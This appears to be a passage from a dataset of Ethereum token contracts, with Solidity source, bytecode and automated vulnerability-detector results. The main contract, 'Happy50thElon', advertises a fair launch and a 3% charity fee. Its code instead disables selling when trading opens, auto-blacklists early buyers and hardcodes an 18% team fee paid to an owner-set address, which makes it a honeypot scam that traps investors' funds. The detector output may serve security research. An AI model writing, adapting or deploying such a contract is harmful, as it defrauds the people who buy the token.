uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 20_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 20) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 20) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034c578063c3c8cd801461036c578063c9567bf914610381578063dbe8272c14610396578063dc1052e2146103b6578063dd62ed3e146103d657600080fd5b8063715018a6146102aa5780638da5cb5b146102bf57806395d89b41146102e75780639e78fb4f14610317578063a9059cbb1461032c57600080fd5b806323b872dd116100f257806323b872dd14610219578063273123b714610239578063313ce567146102595780636fc3eaec1461027557806370a082311461028a57600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a457806318160ddd146101d45780631bbae6e0146101f957600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611879565b61041c565b005b34801561016857600080fd5b5060408051808201909152600d81526c48656c6c6f20476f6f6462796560981b60208201525b60405161019b91906118f6565b60405180910390f35b3480156101b057600080fd5b506101c46101bf366004611787565b61046d565b604051901515815260200161019b565b3480156101e057600080fd5b50670de0b6b3a76400005b60405190815260200161019b565b34801561020557600080fd5b5061015a6102143660046118b1565b610484565b34801561022557600080fd5b506101c4610234366004611747565b6104c6565b34801561024557600080fd5b5061015a6102543660046116d7565b61052f565b34801561026557600080fd5b506040516009815260200161019b565b34801561028157600080fd5b5061015a61057a565b34801561029657600080fd5b506101eb6102a53660046116d7565b6105ae565b3480156102b657600080fd5b5061015a6105d0565b3480156102cb57600080fd5b506000546040516001600160a01b03909116815260200161019b565b3480156102f357600080fd5b50604080518082019091526007815266476f6f6462796560c81b602082015261018e565b34801561032357600080fd5b5061015a610644565b34801561033857600080fd5b506101c4610347366004611787565b610883565b34801561035857600080fd5b5061015a6103673660046117b2565b610890565b34801561037857600080fd5b5061015a610934565b34801561038d57600080fd5b5061015a610974565b3480156103a257600080fd5b5061015a6103b13660046118b1565b610b3a565b3480156103c257600080fd5b5061015a6103d13660046118b1565b610b72565b3480156103e257600080fd5b506101eb6103f136600461170f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044f5760405162461bcd60e51b815260040161044690611949565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600061047a338484610baa565b5060015b92915050565b6000546001600160a01b031633146104ae5760405162461bcd60e51b815260040161044690611949565b66470de4df8200008111156104c35760108190555b50565b60006104d3848484610cce565b610525843361052085604051806060016040528060288152602001611ac7602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fc5565b610baa565b5060019392505050565b6000546001600160a01b031633146105595760405162461bcd60e51b815260040161044690611949565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a45760405162461bcd60e51b815260040161044690611949565b476104c381610fff565b6001600160a01b03811660009081526002602052604081205461047e90611039565b6000546001600160a01b031633146105fa5760405162461bcd60e51b815260040161044690611949565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066e5760405162461bcd60e51b815260040161044690611949565b600f54600160a01b900460ff16156106c85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610446565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072857600080fd5b505afa15801561073c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076091906116f3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a857600080fd5b505afa1580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e091906116f3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082857600080fd5b505af115801561083c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086091906116f3565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b600061047a338484610cce565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161044690611949565b60005b8151811015610930576001600660008484815181106108ec57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092881611a5c565b9150506108bd565b5050565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161044690611949565b6000610969306105ae565b90506104c3816110bd565b6000546001600160a01b0316331461099e5760405162461bcd60e51b815260040161044690611949565b600e546109be9030906001600160a01b0316670de0b6b3a7640000610baa565b600e546001600160a01b031663f305d71947306109da816105ae565b6000806109ef6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a5257600080fd5b505af1158015610a66573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8b91906118c9565b5050600f805466470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b0257600080fd5b505af1158015610b16573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c39190611895565b6000546001600160a01b03163314610b645760405162461bcd60e51b815260040161044690611949565b60148110156104c357600b55565b6000546001600160a01b03163314610b9c5760405162461bcd60e51b815260040161044690611949565b60148110156104c357600c55565b6001600160a01b038316610c0c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610446565b6001600160a01b038216610c6d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610446565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d325760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610446565b6001600160a01b038216610d945760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610446565b60008111610df65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610446565b6001600160a01b03831660009081526006602052604090205460ff1615610e1c57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5e57506001600160a01b03821660009081526005602052604090205460ff16155b15610fb5576000600955600c54600a55600f546001600160a01b038481169116148015610e995750600e546001600160a01b03838116911614155b8015610ebe57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ed35750600f54600160b81b900460ff165b15610ee757601054811115610ee757600080fd5b600f546001600160a01b038381169116148015610f125750600e546001600160a01b03848116911614155b8015610f3757506001600160a01b03831660009081526005602052604090205460ff16155b15610f48576000600955600b54600a555b6000610f53306105ae565b600f54909150600160a81b900460ff16158015610f7e5750600f546001600160a01b03858116911614155b8015610f935750600f54600160b01b900460ff165b15610fb357610fa1816110bd565b478015610fb157610fb147610fff565b505b505b610fc0838383611262565b505050565b60008184841115610fe95760405162461bcd60e51b815260040161044691906118f6565b506000610ff68486611a45565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610930573d6000803e3d6000fd5b60006007548211156110a05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610446565b60006110aa61126d565b90506110b68382611290565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116757600080fd5b505afa15801561117b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119f91906116f3565b816001815181106111c057634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111e69130911684610baa565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061121f90859060009086903090429060040161197e565b600060405180830381600087803b15801561123957600080fd5b505af115801561124d573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fc08383836112d2565b600080600061127a6113c9565b90925090506112898282611290565b9250505090565b60006110b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611409565b6000806000806000806112e487611437565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113169087611494565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134590866114d6565b6001600160a01b03891660009081526002602052604090205561136781611535565b611371848361157f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b691815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113e48282611290565b82101561140057505060075492670de0b6b3a764000092509050565b90939092509050565b6000818361142a5760405162461bcd60e51b815260040161044691906118f6565b506000610ff68486611a06565b60008060008060008060008060006114548a600954600a546115a3565b925092509250600061146461126d565b905060008060006114778e8787876115f8565b919e509c509a509598509396509194505050505091939550919395565b60006110b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc5565b6000806114e383856119ee565b9050838110156110b65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610446565b600061153f61126d565b9050600061154d8383611648565b3060009081526002602052604090205490915061156a90826114d6565b30600090815260026020526040902055505050565b60075461158c9083611494565b60075560085461159c90826114d6565b6008555050565b60008080806115bd60646115b78989611648565b90611290565b905060006115d060646115b78a89611648565b905060006115e8826115e28b86611494565b90611494565b9992985090965090945050505050565b60008080806116078886611648565b905060006116158887611648565b905060006116238888611648565b90506000611635826115e28686611494565b939b939a50919850919650505050505050565b6000826116575750600061047e565b60006116638385611a26565b9050826116708583611a06565b146110b65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610446565b80356116d281611aa3565b919050565b6000602082840312156116e8578081fd5b81356110b681611aa3565b600060208284031215611704578081fd5b81516110b681611aa3565b60008060408385031215611721578081fd5b823561172c81611aa3565b9150602083013561173c81611aa3565b809150509250929050565b60008060006060848603121561175b578081fd5b833561176681611aa3565b9250602084013561177681611aa3565b929592945050506040919091013590565b60008060408385031215611799578182fd5b82356117a481611aa3565b946020939093013593505050565b600060208083850312156117c4578182fd5b823567ffffffffffffffff808211156117db578384fd5b818501915085601f8301126117ee578384fd5b81358181111561180057611800611a8d565b8060051b604051601f19603f8301168101818110858211171561182557611825611a8d565b604052828152858101935084860182860187018a1015611843578788fd5b8795505b8386101561186c57611858816116c7565b855260019590950194938601938601611847565b5098975050505050505050565b60006020828403121561188a578081fd5b81356110b681611ab8565b6000602082840312156118a6578081fd5b81516110b681611ab8565b6000602082840312156118c2578081fd5b5035919050565b6000806000606084860312156118dd578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561192257858101830151858201604001528201611906565b818111156119335783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119cd5784516001600160a01b0316835293830193918301916001016119a8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0157611a01611a77565b500190565b600082611a2157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a4057611a40611a77565b500290565b600082821015611a5757611a57611a77565b500390565b6000600019821415611a7057611a70611a77565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c357600080fd5b80151581146104c357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122025894f1a7d6e894d55f086538a45095184e4d5ddfe8d48d6f96e46fddde5cf2f64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,380
0xc9791c16225f699b830edbaea65bb0d46999ad37
/** Let's celebrate the 50th birthday of Elon Musk! He's the owner of several companies of SpaceX, Tesla, The Boring Company, OpenAI, Neuralink and Happy50thElon! For supporting a Elon Musk, we are going to launch the new token in the 11 AM of 28th June EST timezone. 🍰 No presale, No team tokens 🎂 No buy limit, No cooldown 🥮 Fair Launch 🍰 Liquidity will lock right after the launch 🎂 Not welcome sniping bots 🥮 Contract will announce in 15 ~ 20 minutes after the launch ☎️ Telegram: https://t.me/happy50elon 📱 Twitter: https://twitter.com/elonmusk 🗓 Countdown:https://www.timeanddate.com/countdown/birthday?iso=20210628T08&p0=822&msg=Happy+50th+Elon+Musk&font=cursive Chat will unmute after renounce. ___________________§§§§§§ _____________§§§§__§§__§§_§§§§§§ _____§§__§§_§§__§§_§§§§§§_§§__§§_§§____§§ _____§§__§§_§§§§§§_§§_____§§§§§§__§§__§§ _____§§§§§§_§§__§§_§§_____§§_______§§§§ _____§§__§§_§§__§§________§§________§§ _____§§__§§_________________________§§ _______§§§§§§___§§__§§§§§__§§§§§§_§§__§§ _______§§___§§__§§__§§__§§___§§___§§__§§ _______§§§§§§___§§__§§§§§____§§___§§§§§§ _______§§___§§__§§__§§_§§____§§___§§__§§ _______§§§§§§___§§__§§__§§___§§___§§__§§ __________§§§§§§§__________§§____§§ ___________§§___§§___§§§§§__§§__§§ ___________§§___§§__§§___§§__§§§§ ___________§§___§§__§§§§§§§___§§ __________§§§§§§§___§§___§§___§§ ____________________§§___§§ ________________¶¶ _______________¶¶¶¶_______________¶¶ ______________¶¶S¶¶______¶¶_____¶¶¶¶ _____________¶¶SS¶_____¶¶¶¶____¶¶SS¶ _____________¶¶S¶¶____¶¶SS¶___¶¶SS¶¶ ______________¶¶______¶SS¶_____¶SS¶ _____________¶¶¶¶¶_____¶¶_______¶¶ _____________¶__¶¶____¶¶¶¶¶____¶¶¶¶¶ _____________¶__¶¶____¶__¶¶____¶__¶¶ _____________¶__¶_____¶__¶¶____¶__¶¶ _____________¶__¶_____¶__¶¶____¶__¶ _____________¶__¶_____¶__¶_____¶__¶ ___________¶¶¶__¶¶¶¶¶¶¶__¶¶¶¶¶¶¶__¶ ________¶¶¶¶¶¶__¶11111¶__¶11111¶__¶¶¶¶ ______¶¶¶1111¶__¶11111¶__¶11111¶__¶11¶¶¶¶ _____¶¶111$11¶¶¶¶11111¶__¶11111¶¶¶¶11$11¶¶¶ ____¶¶111$$$$11111$111¶¶¶¶11$1111111$$$$11¶¶ ____¶¶¶¶111$11111$$$$111111$$$$1111111$11¶¶¶ ____¶__¶¶¶¶¶¶¶¶1111$111111111$1111111¶¶¶¶¶_¶ ___¶¶______¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶____¶¶¶ _¶¶¶¶_____§§________________________§§__¶¶11¶¶ ¶¶11¶¶__§§_§§___§§_____§§____§§___§§_§§_¶¶111¶ ¶111¶¶¶___§§___§§_§§__§§_§§_§§_§§___§§_¶¶¶111¶ ¶1111¶¶¶¶________§§_____§§____§§_____¶¶¶¶111¶¶ ¶¶¶¶111¶¶¶¶¶¶¶¶¶¶¶________¶¶¶¶¶¶¶¶¶¶¶¶¶¶11¶¶¶¶ __¶¶¶¶¶11111111¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶11111111¶¶¶ ____¶¶¶11111111111111111111111111111111111¶¶ _____¶¶¶¶111¶¶¶¶11111111¶¶11111111¶¶¶¶1111¶¶ ______¶¶¶¶¶¶¶¶¶¶¶111¶¶¶¶¶¶¶1111¶¶¶_¶¶¶¶¶¶¶ _______________¶¶¶¶¶¶¶¶___¶¶¶¶¶¶¶¶ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Happy50thElon is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Happy 50th Elon | t.me/happy50elon"; string private constant _symbol = "Happy50Elon \xF0\x9F\x8E\x82"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _charityFee = 3; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _charityAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; bool private sellEnabled = true; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _charityAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_charityAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _charityFee == 0) return; _taxFee = 0; _charityFee = 0; } function restoreAllFee() private { _taxFee = 2; _charityFee = 3; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to] && !bots[msg.sender]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (block.number <= launchBlock + 3) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { bots[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { bots[to] = true; } } if (to == uniswapV2Pair) { require(sellEnabled, "Sell is not enabled"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _charityAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 1000000000000 * 10**9; launchBlock = block.number; tradingOpen = true; sellEnabled = false; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _charityAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _charityAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 18); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setSellEnabled(bool onoff) external onlyOwner() { sellEnabled = onoff; } }
0x6080604052600436106101395760003560e01c806395d89b41116100ab578063c9567bf91161006f578063c9567bf9146103f9578063cba0e99614610410578063d00efb2f1461044d578063d543dbeb14610478578063dd62ed3e146104a1578063e47d6060146104de57610140565b806395d89b4114610328578063a9059cbb14610353578063b515566a14610390578063b6bc2546146103b9578063c3c8cd80146103e257610140565b8063313ce567116100fd578063313ce5671461023e5780635932ead1146102695780636fc3eaec1461029257806370a08231146102a9578063715018a6146102e65780638da5cb5b146102fd57610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d8578063273123b71461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61051b565b6040516101679190613400565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612f00565b61053b565b6040516101a491906133e5565b60405180910390f35b3480156101b957600080fd5b506101c2610559565b6040516101cf91906135c2565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612eb1565b61056a565b60405161020c91906133e5565b60405180910390f35b34801561022157600080fd5b5061023c60048036038101906102379190612e23565b610643565b005b34801561024a57600080fd5b50610253610733565b6040516102609190613637565b60405180910390f35b34801561027557600080fd5b50610290600480360381019061028b9190612f7d565b61073c565b005b34801561029e57600080fd5b506102a76107ee565b005b3480156102b557600080fd5b506102d060048036038101906102cb9190612e23565b610860565b6040516102dd91906135c2565b60405180910390f35b3480156102f257600080fd5b506102fb6108b1565b005b34801561030957600080fd5b50610312610a04565b60405161031f9190613317565b60405180910390f35b34801561033457600080fd5b5061033d610a2d565b60405161034a9190613400565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190612f00565b610a6a565b60405161038791906133e5565b60405180910390f35b34801561039c57600080fd5b506103b760048036038101906103b29190612f3c565b610a88565b005b3480156103c557600080fd5b506103e060048036038101906103db9190612f7d565b610bd8565b005b3480156103ee57600080fd5b506103f7610c8a565b005b34801561040557600080fd5b5061040e610d04565b005b34801561041c57600080fd5b5061043760048036038101906104329190612e23565b611283565b60405161044491906133e5565b60405180910390f35b34801561045957600080fd5b506104626112d9565b60405161046f91906135c2565b60405180910390f35b34801561048457600080fd5b5061049f600480360381019061049a9190612fcf565b6112df565b005b3480156104ad57600080fd5b506104c860048036038101906104c39190612e7556